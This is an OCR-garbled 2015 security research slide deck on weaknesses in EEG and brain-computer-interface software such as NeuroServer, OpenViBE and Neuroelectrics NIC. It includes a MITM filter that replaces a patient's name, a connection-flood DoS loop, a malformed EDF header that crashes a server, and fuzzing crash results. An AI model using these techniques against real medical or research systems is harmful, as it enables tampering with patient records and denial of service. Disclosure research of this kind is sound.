TimeSynchronization Anatomy of the LSL time synchronization.
WiewNG Using the SMI iViewNG app to stream gaze and video data.
SupportedDevices List of supported devices.
Cogionics Using the Cognionics app to stream EEG data.
BrainAmpSeries Using the BrainAmpSeries app to stream EEG data.
ActiChamp Using the ActiChamp app to stream EEG data.
SerialPort Using the SerialPort app to stream data from the serial port.
GUSBAmp Using the gUSBamp app to stream EEG data.
ExampleCode Example code for connecting to the lab streaming layer.
Downloads Lab streaming layer downloads.
BrainVisionRDA Using the BrainVisionRDA app to stream EEG data.
httDS://qithub.ComlsccnllabStreaminqlaver/wiki/ MNetworkConnectivity Customizing network connectivity between LSL clients.
. . LabRecorder Recording data using the LabRecaorder.
SquortedDeVlceS'Wlkl EGlIAmpServer Using the EGlAmMpServer app to stream EEG data.

I0Active, Inc. Copyright ©2015. All Rights Reserved. _ »
OVAS Using the OpenViBE acquisition server to stream data into LSL.

IvVe.
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(In)security Aspects

« Encryption

— In Transit

« Case: LabStreamingLayer
Sending Random Data in C++

#include "1=1_cpp.h"
#include <stdlib.h=>
using namespace 1s71;

* This 1s an example of how a simple data stream can be offered on the network.
= Here, the stream is named SimpleStream, has content-type EEG,
= The transmitted samples contain random numbers (and the sampling rate 1s irregular

=/

int main(int argc, char* argv[]) {

S/ make a new stream_info (128ch) and open an outlet with it
stream_info info("SimpleStream”, "EEG",128);

stream_outlet outlet(info);

S/ send data fTorever
float sample[128];
while(true) {

/S generate random data
for {(int c=0;c<128; c++)
sample[c] = (rand()%1500)/500.0-1.5;

/i send it

outlet. push_sample(sample);

H

IOActive, Inc. Copyright ©2015. All Rights Reserved 1 FEED IE

and 128 channels.

= and effectively bounded by the speed at which the program can push out samples).

IOActive.
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(In)security Aspects

« Encryption

— In Transit

 Case: LabStreaminglLayer
Receiving Data in C++

#include "1=s1_cpp.h”

= This is a minimal example that demonstrates how a multi-channel stream (here 128ch)
* of a particular name (here: SimpleStream) can be resolved into an inlet, and how the
= raw sample data & time stamps are pulled from the inlet. This example does not

= display the obtained data.

int main{int argc, char®* argv[]) {
using namespace 1s1;

Jf resolve the stream of interest & make an inlet to get data from the first result

std: :vector<stream_infox> results = resolve_stream("name”,"5implestream");
stream_inlet inlet(results[0]);

S/ receive data & time stamps forever (not displaying them here)
float sample[128];
while (true)

double ts = inlet.pull_sample(&sample[0],128);

return 0;
1

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M
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(In)security Aspects

« Encryption

— In Transit

« Demo: Sniffing raw brain signals through a MITM
attack between the acquisition device (NeuroSky
MindWave) and a remote NeuroServer

— NeuroServer: EEG signal transceiver using TCP/IP
and EDF format

— Old and unmaintained
— Sitill in use (mostly research)
Included in BrainBay

g
& . - ) I B n
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M
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(In)security Aspects

« Encryption

— In Transit

« Demo: Sniffing raw brain signals through a MITM
attack between the acquisition device (NeuroSky
MindWave) and a remote NeuroServer

E

N\

\/
EEG Server Acquisition device
192.168.241.149 192.168.241.1
(@daria) (NeuroSky MindWave
@win7)

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



(In)security Aspects

« Encryption

— In Transit

« Demo: Sniffing raw brain signals through a MITM
attack between the acquisition device (NeuroSky
MindWave) and a remote NeuroServer

S

EEG Server ARp Acquisition device
192.168.241.149 O/bon, 192.168.241.1
(@daria) ng (NeuroSky MindWave

@win?)

Attacker

|
192.168.241.60
IOActive, Inc. Copyright ©2015. All Rights Reserved. (@eX”ed) IOActlvem



(In)security Aspects

« Encryption

— In Transit

« Demo: Sniffing raw brain signals through a MITM
attack between the acquisition device (NeuroSky
MindWave) and a remote NeuroServer

E \‘ Z / /////7/%/4// /M {\ Q\* \\z\\
O //, // ///
EEG Server 7 //// # \w\\lm \ Acquisition device
192.168.241.149 / 5’//}/ W P 192.168.241.1
(@daria) ry //7/ \\\\‘\W (NeuroSky MindWave

@win?)

Attacker
192.168.241.60

IOActive, Inc. Copyright ©2015. All Rights Reserved. (@eXIled)
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P 7490 N

= |

BE¥ Proceszador de comandos de Windows

RAW EEG ]_ ErainBay C:“UserssnitrBus>arp —a | egrep "601149" = 22
DATA Y 192.168.241 .68 aa—HA-H4-AR—Ha—B4
192 _168.241 149 aa—BP-A4-AR—Ba—B4

Design  Edit  Insert Element 5Session  Metwork Tools Options  Help

C=sUserssnitrBus >

Design Oscilloscope

----- Meuroserver |‘I 92168.241.145

Patient |Aleiandro Hernandez

Device |Neur08k_l,l Mindw ave - BrainB ay Acquizition Channelz |1 L

Segmentz (0 Segment-Duration |1 Samples/Segment |256 Samplingrate(Hz] |256

rﬂn - |‘I : hohe J Label |none

|.0/8aC Electiods

v Rcguisition ensian ,u\.fi Physical minimum ’W Phwyszical maxirmum ’W
Electrode lm Digital mitirmurn ,D— Drigital rmaxirur ,W

&P Packets sent -

=

EnE

m

Neuro
15.04. 1 51
1 none



videos/neuroserver_sniffing.wmv
videos/neuroserver_sniffing.wmv

(In)security Aspects

« Encryption

— In Rest

» File formats, as common
files, no encryption

« What about the cloud?
How are they protecting
your brain waves?

IOA .
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



(In)security Aspects

 Authentication

— The process of determining whether someone or
something is who or what it is declared to be
— Auth mechanism needed before
« Read/Update an EEG stream/record
« Start/Stop EEG
— Auth mechanism between the acquisition device,
EEG middleware and the endpoints

« E.Q.
EEG device <-> EGG Server
<-> Drone/Prosthesis/Etc.

IOActive.
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(In)security Aspects

* Authentication
— Case: Neuroelectrics NIC

— Same issue described previously (no auth to receive EEG data)
b N

! L ! A% = - i {. :
) 3 SRbAR > } N
' ‘ s L iy,
: § u
I0Active, Inc. Copyright ©2015. All Rights Reserved. IOActlve.,.


http://www.neuroelectrics.com/products/software/nic/

(In)security Aspects

* Authentication
— Demo: Patient's name is changed in a MITM attack
before it reaches NeuroServer

* NeuroServer: EEG signal transceiver using TCP/IP and
EDF format

e Old and unmaintained
.« Stillin use (mostly research)
Included in BrainBay

& . - § I B n
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(In)security Aspects

 Authentication

— Demo: Patient's name is changed in a MITM attack
before it reaches NeuroServer

WWWWWW

Alejandro Hernandez

\\\\\\\\

EEG Server Acquisition device
192.168.241.149 192.168.241.1
(@daria) (NeuroSky MindWave
@win7)

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



(In)security Aspects

 Authentication

— Demo: Patient's name is changed in a MITM attack
before it reaches NeuroServer

Wty A N
S y /,/ w\
// // \\\N\ \ . . .
EEG Server /// " h \\\ \\ Acquisition device
192.168.241.149 JO/7/7 / 5//’/4/ / \ 192.168.241.1
(@daria) 0’7’7 %/ 14 ”%/ \\\W \ (NeuroSky MindWave

@win?)

Attacker
192.168.241.60

(@exiled)

IOA .
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Socket bound.
Please start the modeegdriver.
Accepting from 0x3
Received new connection from 152.168.241.1
Got connection on client 0.
Got header:
The header is <0 John Connor
NeuroSky MindWave - BrainBay Acguisition
15.04.1517.33.46512
a 1 1 nohe Bg/AgCl Electrode
uVv 500 500
Lg/hgCl Electrode
5256 i it f |.||L,I|L-.| 1"!"|"|' "'JHHUI' ]
Warning: changed header from <0 John Connor il W PHTAY ™ UV
HeuroSky MindWave - BrainBa
15.04.1517.33.46512

4] 1 1 none Ag/Lg
uV
4] 1024 Lg/AgCl Electroce
> to <0 John Cogoess
15.04.151

1 1 no Scanning f£&r merged targets (1 hosta)

Electrode 100.00 %

D 2 hosts addéd to the hosts list...
—

LRP poisoniny victims:
nitrOus@exiled:~$% cat mitm neuroserver.ect
GROUE 1 : 192.168.241.145 00:0C:25:E1:71:85if (tcp.dst/== 8336)

'l GROUP 2 : RNY (all the hosts in the list)
} Starting Unified sniffing...

if (search(DATA.data, "Alejandro Hernandez"))
{
replace ("Rlejandro Hernandez", "John Connor ")
m=g ("==> [MiTM] Patient name replaced ! <==\n");
Text only Inteilface activated... }
Hit 'h' for inline help }
nitrOus@exiled:~5 [

==» [MiTM] Patient name replaced ! <==
-
||



videos/neuroserver_MITM.wmv
videos/neuroserver_MITM.wmv

(In)security Aspects

 Resilience

— Ability to support or recover from adversity
(Denial of Service attacks)

" ) A : ;
I0Active, Inc. Copyright ©2015. All Rights Reserved. Ctlve.,.



(In)security Aspects

* Resilience
— 90’s techniques still killing 21t century tech

#define NCONNS 10000

for(k = 0; k < NCONNS; k++) {
sock = socket ()
connect () ;
send (“foo\n”) ;

sleep ()7

IOA .
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



(In)security Aspects

* Resilience
— Some EEG (TCP) servers

EEG Server Acquisition device

192.168.241.1

ﬁ (NeuroSky MindwWave
o @win7)

Clients

IOA .
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(In)security Aspects

* Resilience
— Demo: OpenVIBE Acquisition Server Remote DoS

Software for Brain Computer Inferfaces
and

Real Time Neurosciences

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlvem


http://openvibe.inria.fr/

-

L

# openvibe acquisition server

1

Added plugin object descriptors) from [
]

WUSAStartup(> is OK. Winsock 1libh loaded?
Impossible to writeConstructor of enobio3g

L

]

Registery key
is not initialized
Loading plugin: Software Tagging
Loading plugin: LSL Output
ThinkGear DLL version:
Scanning COM poxts 1 to 16...
Connection availahbhle on port [\N.\COM5] - Status: OK
Connection available on port [N\\N.\NCOM6]1 — Tried for seconds, gave up

Last TG_ReadPackets error: -2, B hytes on the stream
Connecting to device [ ) RS
ThinkGear» DLL version:
Eye blink detection is possible.
Connection succeeded !
Starting the acquisition...
ThinkGeay Communication ID is: .
Trying to connect ThinkGear driver to Serial Port [\\.\COMS5]
Now acquiring...
Signal Quality acceptahle — noise < 12.5%

@ OpenViBE Acquisition Server v1.0.0

S U b 2R AN

/

(“\i
)
%
?

Driver : NeuroSky Mindset (MindsetDey, Kt 2, 14

Connection port : |:f.’i‘~‘

Sample count per sentblock : | 32

IOActive.
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(In)security Aspects

 Resilience
— Demo: Neuroelectrics NIC TCP Server Remote DoS

i

&4 TCPView - Sysinternal

File Options Process Vier JE TSRS enob O 19:57:45
| & & =

T i : Bluetooth
Reference Channel: [T emporal Window: Elseconds
Battery

Process

[ NICke
PRI v
£ NIC exe
b hIC ke
NI v
£ NIC exe
NIC.exe
NI v
£ NIC exe
NIC.exe
b NIC eve —

NIC e
00:00:00

Time Domain

Signal Menitering ——

=
5
o
E
a a
= =
@ N

0
=
2

00:00:00

connect{> Cannot connect. Error code: 18861

Alejandro Hernande

a
=
@

[Successful connections made: 9626

B
2
@
[=2]
©
I
o
-

[Press any key to clese all the connections and finish

¥ NICexe {&H Procesador de comandos de Windows

IC:\Users\nitrBus>nc localhost 1234 —v
NIC exe [LENOU03972 [127.8.0.11 1234 () connection refused wl TCP Server

£ NIC exe F [C: \WUsers\nitrBusdnc localhost 1235 —v 192.168.1.45:11234
NIC.exe LENOU03972 [127.8.0.11 1235 (72 open
NI v | edsfed
"
[C:\UsersinitrBusine localhost 1234 —u 192.168.1.45:20876
S [LENOU03972 [127.8.8.11 1234 (7>: connection refused 1921681 4520877

Visualization Filters ()

Endpoints: 217 Established:

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M



http://www.neuroelectrics.com/products/software/nic/
videos/NE_NIC_DoS.wmv
videos/NE_NIC_DoS.wmv

(In)security Aspects

« Resilience
— Demo: NeuroServer Daemon Multiple Remote DoS

# Malformed EDF header

# Spec: http://www.edfplus.info/specs/edf.html
EDF = "0 " # Version

EDF += "Alejandro Hernandez

# Patient Identification

EDF += "NeuroSky MindWave

# Recording Identification

m

EDF += "07.04.1520.55.28768 EDF+C "

# Startdate of Recording

EDF += "29 " # Number of Data Records

EDF += "1 " # Duration of a Data Record in Seconds

EDF += "1337 " # Number of Signals. This wvalue triggers the DoS: assert(cfg->hdr.dataRe
cordChannels < MAXCHANNELS) :

EDF += "Electrode EDF Annotations

" # Labels and other data per channel
EDF += "-327e8 -1 327¢7 1 -32768 -32768 32767 32767 " # PhysiMin Physi
Max DigiMin DigiMax

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M


http://openeeg.sourceforge.net/neuroserver_doku/

(In)security Aspects

« Resilience
— Demo: NeuroServer Daemon Multiple Remote DoS

nitrOus@daria: - £ nittdus@exiled: ~ =

Assertion ~cfg

EDFInputIterator Co! g to .168.241.149 on

NeurServe.

IOActive.


http://openeeg.sourceforge.net/neuroserver_doku/
videos/neuroserver maxchannels DoS.wmv
videos/neuroserver maxchannels DoS.wmv

(In)security Aspects

« Resilience
— Demo: NeuroServer Daemon Multiple Remote DoS

#define MAXCLIENTS 16

struct Client clients[MAXCLIENTS];

int makeNewClient (sock t fd) {
int myIndex = clientCount;
clientCount += 1;
memset (&clients[myIndex], 0, sizeof(clients[0]))
clients[myIndex].fd = fd;

clients[myIndex].role = Unknown;

IOA .
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M


http://openeeg.sourceforge.net/neuroserver_doku/

(In)security Aspects

* Resilience
— Demo: NeuroServer Daemon Multiple Remote DoS

nitrlus@daria: ~/MNeuroServer-0.7.4/src

NeuroServer-0.7.4/src$ grep "struct Client™ nsd.c

£ grep MAXCLIENTS *.h
(sock_t fd) {
clientCount; nicrl ria: ur ver—0.7. zrob I

wdex], 0 izeof (clients[0]))
LEd = £d:

.role = T YL}
.markedForDeletion = 0;

nePos

IOActive.


http://openeeg.sourceforge.net/neuroserver_doku/
videos/neuroserver MAXCLIENTS DoS.wmv
videos/neuroserver MAXCLIENTS DoS.wmv

(In)security Aspects

* The "Tower of Babel"rof EEG File Formats
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(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— File Formats

« “A major difficulty with current commercial EEG systems is that
they use proprietary file formats, which require dedicated
reader systems.”

» “In some instances, different generation of a single vendor’s
system generate incompatible file formats”

« “Some vendors of EEG systems do provide an option to save
EEG data in a standard format such as the European Data
Format (EDF) for biosignals... In addition, some vendors do not
strictly adhere to the EDF specification, causing problems for
some EDF reader programs.”

Krauss, G., Fisher, R., Kaplan, P. (September 1st, 2011). The Johns Hopkins
Atlas of Digital EEG: An Interactive Training Guide. 2nd Edition. Johns

n
Hopkins University Press. I A IV
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™




(In)security Aspects

 The "Tower of Babel" of EEG File Formats

— File Formats

« Many old specifications and implementations
— EDF: 1992
— EDF+: 2003

« Many new specs and formats, though

« Biomedical signals (time series)
— https://en.wikipedia.org/wiki/List of file formats#Biomedical signals .28time series.29

* List of Scientific Data Formats

. H — .
IOActive, Inc. Copyright ©2015. A;ighbgzgr;gc{.DUb.ISt.aC.at/ SCthGQVmaﬂab/ee(]/ IOACtlve"



http://www.edfplus.info/specs/edf.html
http://www.edfplus.info/specs/edfplus.html
https://en.wikipedia.org/wiki/List_of_file_formats#Biomedical_signals_.28time_series.29
http://pub.ist.ac.at/~schloegl/matlab/eeg/

(In)security Aspects

* The "Tower of Babel" of EEG File Formats

— File Formats

« Matrix of formats supported in different
software / hardware

— Took me weeeeeks...
» Brochures
» Manuals
» Specs

IOActive.
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File Form

BioEra BioEra ®

CyberEvelution BioExplorer

Brain Products Brain\Vision Recorder x x
Brain Products BrainVision Anakyzer x X

Brain Products BrainVision Rec X X
Neuro Electrics Enobio X x X
Neuro Electrics NIC x x
Compumedics Neuro Scan ProFusion EEG X x

Compumedics Neuro Scan Curry 7 X X X

Persyst Advanced Review (Insight Il ® X X X X

Grass Technologies Twein EEG x

Grass Technologies Twein Portal

Grass Technologies Twin Monitor 2 X
NeuroSky Recorder (i05) x

NeuroSky ThinkGear Connector X X
BrainMaster BrainAwatar x x x

Natus Stellate Harmanie Viewer X X

g.tek g.BSanalyze ® X ® X

g.tek g.UDPinterface X X
D5G BVBA BrainAT x X

Pinnacle Technology Sirenia Acquisition X

Pinnacle Technology Sirenia Sleep ®

Witsar WinEEG Basic X

Mitzar WinEEG Advanced x ® x ®

Nitsar EEGStudio Aquisition x| x =

Cadwell Easy Il EEG X X
Neurotraces edfEdit ®

Cpen Source PhiTools PRAMNA x x

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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../../EEG/File Formats in Software - Hardware.xlsx
../../EEG/File Formats in Software - Hardware.xlsx

(In)security Aspects

 The "Tower of Babel" of EEG File Formats

. Data structure for Neuroscan continuous EEG files
— File Formats

file position Example
« Examples e .
SETUP
— Neuroscan 800 00
ELECTLOC
Q00 + 75 % SETUP . NChENNE] S eeeeerreees 5550
(62 channels)
(ZEAMELES. SETUP.NumSamples * SETUP.nchannels * 2 63600
yte signed intl
samples
— . SETUP.EventTablePos ..o ¥, a511950
- SETUP EventTablePas + Qe 8511959
EWENT #1
]
e ctlve
IOActive, Inc. Copyright ©2015. All Rights Reserved. : m
: TEEG.size 1664
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(In)security Aspects

 The "Tower of Babel" of EEG File Formats

— File Formats
« Examples
— EDF

I0Active, Inc. Copyright ©2015. All Rights Reserved.

HEADER RECORD (we suggest to also adopt the 12 simple addit
8 ascii - version of this data format (0)

80 ascii : local patient identification (mind item 3 of the additional E
80 ascii : local recording identification (mind item 4 of the addition:
8 ascii : startdate of recording (dd.mm.yy) (mind item 2 of the addi
8 ascii : starttime of recording (hh.mm_ss)

8 ascii - number of bytes in header record

44 ascii : reserved

8 ascii - number of data records (-1 if unknown, obey item 10 of th
8 ascii  duration of a data record, in seconds

4 ascii - number of signals (ns) in data record

ns * 16 ascii - ns * label (e.g. EEG Fpz-Cz or Body temp) (mind ite
ns * 80 ascii : ns * transducer type (e.g. AgAgCI electrode)

ns * 8 ascii - ns * physical dimension (e.g. uV or degreeC)

ns * 8 ascii - ns * physical minimum (e.g. -500 or 34)

ns * 8 ascii - ns * physical maximum (e.g. 500 or 40)

ns * 8 ascii - ns * digital minimum (e.g. -2048)

ns * 8 ascii - ns * digital maximum (e.g. 2047)

ns * 80 ascii : ns * prefiltering (e.g. HP:0.1Hz LP:75Hz)

ns * 8 ascii : ns * nr of samples in each data record

ns * 32 ascii . ns * reserved

DATA RECORD
nr of samples[1] * integer : first signal in the data record
nr of samples[2] * integer : second signal

nr of samples[ns] * integer : last signal

IOActive.


http://www.edfplus.info/specs/edf.html

(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Parsing
« Parsing is parsing !
— Bytes in data structures

« As any other file format
— PDF, JPG, GIF, PE, ELF, etc. etc.

« EEG data and its metadata

I0Active, Inc. Copyright ©2015. All Rights Reserved. Ctlvem



(In)security Aspects

 The "Tower of Babel" of EEG File Formats
— Parsing

Memory corruption / Buffer overflows
Boundary checking problems (e.g. indexes in arrays)
Loops copying data more times than expected
Invalid memory derefs
Arithmetic calculations
Unexplored file formats
— A new terrain to play
Attack surface reduced
— Specialized formats, not mainstream

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Parsing
» (Perhaps) developers with different backgrounds
— Not fully aware of (in)secure programming

And then. ..

_ point back

I0Active, Inc. Copyright ©2015. All Rights Reserved.

We overwrite EP P

IOActive.



(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Bug hunting
* (In)secure programming
— (haven’t corroborated if are real security vulnerabilities)

$ egrep -nr "strcpy|sprintf" ~/labstreaminglayer/LSL/ | wc -1

63

$ egrep -nr "memcpy|memset|bzero" ~/labstreaminglayer/LSL/ | wc -1
519

$ egrep -nr "strcpyl|sprintf" ~/biosigdc++-1.6.4/ | wc -1

361

$ egrep -nr "memcpy|memset|bzero" ~/biosigdc++-1.6.4/ | wc -1

254

$ egrep -nr "strcpyl|sprintf" ~/NeuroServer-0.7.4/src/ | wc -1

477

$ egrep -nr "memcpy|memset|bzero" ~/NeuroServer-0.7.4/src/ | wc -1

i I A .
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.,.



(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Bug hunting
* (In)secure programming
— (haven’t corroborated if are real security vulnerabilities)

$ flawfinder --quiet --minlevel=3 --falsepositive ~/labstreaminglayer/LSL/
ANALYSIS SUMMARY:

Hits = 329

Lines analyzed = 1115455 in approximately 47.91 seconds (23281
lines/second)

Physical Source Lines of Code (SLOC) = 958265

Hits@level = [0] 0 [1] 0 [2] 0 [3] 306 [4] 20 [5] 3

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Bug hunting
* (In)secure programming
— (haven’t corroborated if are real security vulnerabilities)

$ flawfinder --quiet --minlevel=3 --falsepositive ~/biosigdc++-1.6.4/
ANALYSIS SUMMARY:

Hits = 117

Lines analyzed = 95048 in approximately 3.63 seconds (26188 lines/second)
Physical Source Lines of Code (SLOC) = 71225

Hits@level = [0] 0 [1] 0 [2] 0 [3] 4 [4] 113 [5] 0

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Bug hunting
* (In)secure programming
— (haven’t corroborated if are real security vulnerabilities)

$ flawfinder --quiet --minlevel=3 --falsepositive ~/NeuroServer-0.7.4/src/

ANALYSIS SUMMARY:

Hits = 17

Lines analyzed = 2938 in approximately 0.08 seconds (35282 lines/second)
Physical Source Lines of Code (SLOC) = 2481

Hits@level = [0] 0 [1] 0 [2] 0 [3] 0 [4]1 17 [5] 0

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Bug hunting
* Fuzzing
— Only the EDF format was approached
» Most supported amongst EEG software/hardware
— Trivial fuzzing

» mangle.c
by llja van Sprundel

» Microsoft MiniFuzz

I0Active, Inc. Copyright ©2015. All Rights Reserved. Ctlvem


http://www.edfplus.info/specs/edf.html
https://ext4.wiki.kernel.org/index.php/Filesystem_Testing_Tools/mangle.c
http://www.microsoft.com/en-us/download/details.aspx?id=21769

(In)security Aspects

« The "Tower of Babel" of EEG File Formats
— Bug hunting

» Fuzzing
_ Sample EDF ......... : ....... \ -
recordings N \\ P hyS 10 N et
» My own \.\...\.‘.\. e the refgfigzn%l%io”me
brain waves S \ physiologic signals
In EDE AR \\
. e : Q .:.\,. ooooo -\
» PhysioNet T ey \y\‘\ \‘»

4
oO—> O—L—3 T X

o=

.......

O O O
o Q o o
u
) ) ) PhysioNet offers free web access to large collections of recorded physiologic I A IV
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™

signals (PhysioBank) and related open-source software (PhysioToolkit).


http://www.edfplus.info/specs/edf.html
http://www.physionet.org/

(In)security Aspects

 The "Tower of Babel" of EEG File Formats

Sample Fuzzer Hg;i:r % Fuzzed Qutput Folder TE";L{;?:ES
neurosky_mindwave_Alejandro_10apri15_12secs_Z2channels.edf mangle 236 33% mangle_33 236 1 100
neurasky_mindwave Alejandro_10apr15_40secs_13channel.edf mangle 236 33% mangle_33 236 2 100
eegmmidb_S001R01.edf mangle 236 33% mangle_33_236 3 100
sleep-edfy_SC4112E0-PSG.edf mangle 236 33% mangle_33 236 4 50
neurasky_mindwave Alejandro_10apr15_1Z2secs_Zchannels.edf mangle 256 33% mangle_33 256 1 100
neurosky_mindwave_Alejandro_10apr15_40secs_13channel edf mangle 256 33% mangle_33_256 2 100
eegmmidb_S001R01 . edf mangle 256 33% mangle_33 256 3 100
sleep-edfi_SC4112E0-P3G. edf mangle 256 33% mangle_33_256_4 50
neurosky_mindwave_Alejandro_-10apr15_12secs_2channels. edf mangle 768 20% mangle_33_768_1 100
neurosky_mindwave_Alejandro_10apri15_40secs_13channel.edf mangle 768 20% mangle_33 768 2 100
eegmmidb_S001R01 . edf mangle TE8 20% mangle_33 _¥68_3 100
sleep-edfi_SC4112E0-PSG.edf mangle 768 20% mangle_33_768 4 50
neurosky _mindwave_Alejandro_10apri15_12secs_Zchannels.edf M3 SDL MiniFuzz X 10% % X
neurasky_mindwave_Alejandro_10apr15_40secs_13channel edf M3 SOL MiniFuzz X 10% X X
eegmmidb_S001R01 . edf MS SDL MiniFuzz X 10% X X
sleep-edfy SC4112E0-PSG.edf MS SDL MiniFuzz X 10% % X
neurasky_mindwave_Alejandro_10apr15_12secs_Zchannels.edf M3 SOL MiniFuzz X 5% X X
neurosky_mindwave_Alejandro_10apr15_40secs_13channeledf | MS SDL MiniFuzz X 5% X X
eegmmidb_S001R01 . edf MS SDL MiniFuzz X 5% % X
sleep-edi_SC4112E0-P3G.edl M3 SOL MiniFuzz X 5% X X

I0Active, Inc. Copyright ©2015. All Rights Reserved.

IOActive.



(In)security Aspects

* The "Tower of Babel" of EEG File Formats
— Bug hunting
« Demos: Flaws discovered in well-known EEG analysis
software
— Unhandled exceptions / Seg faults
— Potential memory corruption bugs
— Sitill in the bug discovery phase

—— <]

IOActive.
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(In)security Aspects

* The "Tower of Babel" of EEG File Formats
— Bug hunting
« Demos: Flaws discovered in well-known EEG analysis
software
— Persyst Advanced Review (Insight I1)
— Natus Stellate Harmonie Viewer

— BrainBay
— SigViewer (uses libbiosiq)

IOA .
I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlve.M


http://www.persyst.com/advanced-review
http://www.natus.com/index.cfm?page=products_1&crid=979
http://www.shifz.org/brainbay/
http://sigviewer.sourceforge.net/
http://biosig.sourceforge.net/

-

. Insightll - C\UsersynitrOus\Documents\EEG\SAMPLES\EDF\sleep-edfi_SC4112E0-PSG.edf

M N7 ] NS

)
=

Fle Edit View Insert Scroll Montage Took Help @ = |[{ O Bl Q& Patient| Review
= ldES nr @ O L= T L |(22%we 5 B[ @ W
[10sec = w[[10w 2 ~|[1z 1+ +||Recorded S MM R R T

Autolearn ~ »

ElectrodeMap = | 10-20 =

Reveal~ » ‘ﬁ, DefaultScalp 5| - MMarker ~ "ﬁ; =
§ =l

[ I COFI"IFI"I... Time
FpzCz WWM Mfw‘[\[\ W oy
Pz0z etttV L WWWMWW %W 1790V
- J — r/%\ ™ AN I
H | minifuzz: Bloc de notas e % AM 1750V

Archive Edicién Formate Ver Ayuda

R|<?xml version="1.0"7>
d |<failures>

<failure type="Exception Event:Tid=16600, 0xE06D7363, unhandled, address=0x7714c42d"
datetime="10:19:08 p.m. 13/04/2015">

4 |RDI="00000000" REP="0008DDEO" RSP="0008DEF0" RIP="734ECB49" />
<process name="C:\Program Files (x86)"PersystiInsight\InsightII.exe" />
ile name="C:“Wsers‘\nitrlus'Desktop\minifuzzhtemp
Sneurosky_mindwave_aAlejandro_10aprl5_12secs_2channels_10257-7.k13u20e61d7p. edf” />
L =/Failure=
B l=/failures>

: <registers RAX=7EFDEOOO" RBX="0008EB40" RCX="0008D410" RDX="00000000" RS5I="754EBGCE"

Microsoft Visual C++ Runtime Library

> ! Runtime Error!

Program: C:\Program Files (x86)\Persyst\Insight\Insightll.exe

abnormal program termination

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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videos/parsing bugs.wmv
videos/parsing bugs.wmv

pAA 4

v | ®
|- BrainBay

Design Edit Insert Element Session MNetwork Tools Options  Help

Design
[
Fiead from Inone open File
Oscilloscope initial Delay ID.DD seconds | apply || close Fils |
0000:06.000 Patient |><F1XII:>< - -iia [ B oE ) bg -
50000
=R Device [Startdate T4PR-ZAES GG XIE 5 1 %-@ HY- €K % Channels |2
h Segrents |12D Segrent-Duration |1D Samples/Segrment |512 Samplingrate(Hz] |5‘I
I BN AY)
PR LZa—
Channel |1 : Electrode vl Samples/Segm. |512 Label IEIectrode
| Transducer |
50000
FPhyzical dimension I Physical minimum |-32?88 Phyzical maximum|32?8?
I . . . . b
- = ~ Digital minimum |-32768  Digital maximum |32?B?
| Microsoft Visual C++ Debug Library l“_]
@I Debug Error! : i
- Program: C\Users\nitrDus\AppData\Local\BrainBay\brainBay.exe
Module: Ch\Users\nitrlus\AppData‘\Local\BrainBay\brainBay.exe

File:

Run-Time Check Failure #2 - Stack around the variable 'readbuf' was
corrupted.

(Press Retry to debug the application)

Anular I Reintentar | Omitir |
[ Play (F7) | [ Stop (F8) | [ Reset | [ Hide Design W

= dlamamar 1 e e | — i ALATLAR - i —_—
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Got connection on client 1. The chunk =size is 2048
Got header: The header size is Ta8
The header is <0 211Endjo Hernanded Read 1000 timesamples and on datarecord
@ E w NeBroSky MinWSve = Test E Read 2000 timesamples and on datarecord
13.04.1516.26.12768 EDF+C = Read 3000 timesamples and on datarecord
Electrode EDF Annotations REead 4000 timesamples and on datarecord
Read 5000 timesamples and on datarecord
Read 6000 timesamples and on datarecord
76T 32767 Fead 7000 timesamples and on datarecord
Read 8000 timesamples and on datarecord
512 512 The data record count is 29
Warning: changed header from <0 Allgndjo Hernande® The data record channels is 2
E = E @ E w HNHeBroSky MinWEve E Test = The data record seconds is 0.000000
13.04.1516.26.12768 EDF+C B Connecting to 192.165.241.149 at 192.168.241.149:8336
Electrode EDF Annotations= Recieved error code 115 from placeCode 0. errstr is <unknown unix:115> a
nd descPlace is connect
Recieved error code 115 from placeCode 0. errstr is <unknown unix:115> a
32767 32767 nd descPlace is connect
Socket connected.
512 512 0 p Alejandro ngna@deg § g g
> to <0 21iEndjo Hernandel i NEuEosky MiEdWavE - “Bew B E B m
Q@ E w NeSroSky MinWSve E Test H] = = 13.04.1516.26.48768 = =
13.04.1516.26.31768 EDF+C H §29 1 2 Electraode EDF Annotations
Electraode EDF Annotations

2767 32787

-2147483-214T483
There are —-214T7483648.000000 sanmples

Program receiwved signal SIGPIPE, Broken pipe. per second
ORODOOTEEEETE104fd in _ libe send (fd=6, buf=0x405212, n=8, flags=-1) at ../syzdeps/uni The chunk size is 2048
xfsysvflinuxﬁxas_séfsega.c:z; The header size i=s T6&8
27 in ../sysdeps/unix/sysv/linux/x86 64/send.c
(gdi) c
Continuing.
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B4 neurosky_mindwave_Algjandro_10aprl3_40secs_13channels_19224-qwx9%e9uw2.mbb37bh5 lvexd.edf - SigViewer

X L) D N et
o5

I0Active, Inc. Copyright ©2015. All Rights Reserved.

File Edit Mode View Tools Help % MiniFuzz | = |
